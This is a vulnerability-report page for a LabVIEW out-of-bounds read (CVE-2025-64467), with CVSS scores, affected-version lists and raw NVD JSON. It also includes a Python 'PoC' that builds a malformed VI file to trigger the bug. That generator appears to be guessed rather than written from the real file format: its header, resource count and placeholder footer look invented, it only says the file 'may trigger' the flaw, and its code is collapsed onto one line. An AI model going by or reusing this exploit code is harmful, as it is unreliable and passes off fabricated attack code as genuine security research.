Security Vulnerability Report
中文
CVE-2025-64467 CVSS 7.8 HIGH

CVE-2025-64467

Published: 2025-12-18 15:15:59
Last Modified: 2025-12-24 15:11:29

Description

There is an out of bounds read vulnerability in NI LabVIEW in LVResFile::FindRsrcListEntry() when parsing a corrupted VI file. This vulnerability may result in information disclosure or arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted VI. This vulnerability affects NI LabVIEW 2025 Q3 (25.3) and prior versions.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ni:labview:2022:q1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3_patch1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3_patch2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3_patch4:*:*:*:*:*:* - VULNERABLE
NI LabVIEW 2025 Q3 (25.3)
NI LabVIEW 25.2 及之前版本
NI LabVIEW 25.1 及之前版本
NI LabVIEW 25.0 及之前版本
其他所有低于修复版本的NI LabVIEW版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-64467 PoC - Malformed VI File Generator This PoC generates a minimal corrupted VI file to trigger the out-of-bounds read in LVResFile::FindRsrcListEntry() """ import struct import os def create_corrupted_vi(output_path): """ Generate a corrupted VI file that triggers the vulnerability in LVResFile::FindRsrcListEntry() """ # VI file header (LabVIEW file format signature) header = b'VI' + b'\x00' * 13 # LV file signature # Version information version = struct.pack('<I', 0x0A) # Version marker # Corrupted resource section - triggers FindRsrcListEntry() vulnerability # The resource count is manipulated to cause out-of-bounds read resource_count = struct.pack('<I', 0xFFFFFFFF) # Invalid large count # Malformed resource entries # This causes the parser to read beyond allocated buffer corrupted_entries = b'\x00' * 256 # Padding to trigger boundary issue # Footer with specific markers that trigger the vulnerable code path footer = b'RSRC' + struct.pack('<I', 0x12345678) # Combine all sections vi_content = header + version + resource_count + corrupted_entries + footer with open(output_path, 'wb') as f: f.write(vi_content) print(f"[+] Corrupted VI file created: {output_path}") print(f"[+] File size: {len(vi_content)} bytes") print("[*] This file may trigger OOB read in LVResFile::FindRsrcListEntry()") def main(): output_file = "CVE-2025-64467_poc.vi" create_corrupted_vi(output_file) print("\n[!] Note: This PoC is for educational and security research purposes only.") print("[!] Do not use for malicious activities.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64467", "sourceIdentifier": "[email protected]", "published": "2025-12-18T15:15:58.893", "lastModified": "2025-12-24T15:11:29.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "There is an out of bounds read vulnerability in NI LabVIEW in LVResFile::FindRsrcListEntry() when parsing a corrupted VI file. This vulnerability may result in information disclosure or arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted VI. This vulnerability affects NI LabVIEW 2025 Q3 (25.3) and prior versions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q1:*:*:*:*:*:*", "matchCriteriaId": "4D12D6CF-802F-47BA-ADF9-9E52C071BD7F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3:*:*:*:*:*:*", "matchCriteriaId": "340F61E5-D1ED-4C29-A894-8BC5C5B90ACE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch1:*:*:*:*:*:*", "matchCriteriaId": "52CC3023-4913-40BA-B74C-786F32DC7551"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch2:*:*:*:*:*:*", "matchCriteriaId": "FC150E98-5889-4A65-84B8-E4871091D104"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch4:*:*:*:*:*:*", "matchCriteriaId": "85B3D429-4F3D-44CC-9304-837FB6D7E2A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch5:*:*:*:*:*:*", "matchCriteriaId": "1FB7783C-FCB2-4564-98CF-F76F848E8E86"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch6:*:*:*:*:*:*", "matchCriteriaId": "82EE4E24-D802-4F6A-82E3-125221C1609C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q1:*:*:*:*:*:*", "matchCriteriaId": "D7DD2022-CFB7-4F38-B459-C1AFB55B5B68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3:*:*:*:*:*:*", "matchCriteriaId": "18AB0B07-72FE-4861-B69D-AD2E87C5382E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch1:*:*:*:*:*:*", "matchCriteriaId": "91928C9C-F094-4EE4-9FBE-2B7956D68E6F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch2:*:*:*:*:*:*", "matchCriteriaId": "044C4B51-C641-41F2-ACA0-834C99D63285"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch3:*:*:*:*:*:*", "matchCriteriaId": "26EEE5E3-AD37-4832-A66C-5F8F7A478F30"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch4:*:*:*:*:*:*", "matchCriteriaId": "5DC20B17-C582-42C4-9780-5DC61B4AED91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch5:*:*:*:*:*:*", "matchCriteriaId": "329575A0-F12E-478B-9A83-F747D6A161AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch6:*:*:*:*:*:*", "matchCriteriaId": "F25A1816-08CA-4467-8025-AD57562D7C35"}, {"vulnerable": ... (truncated)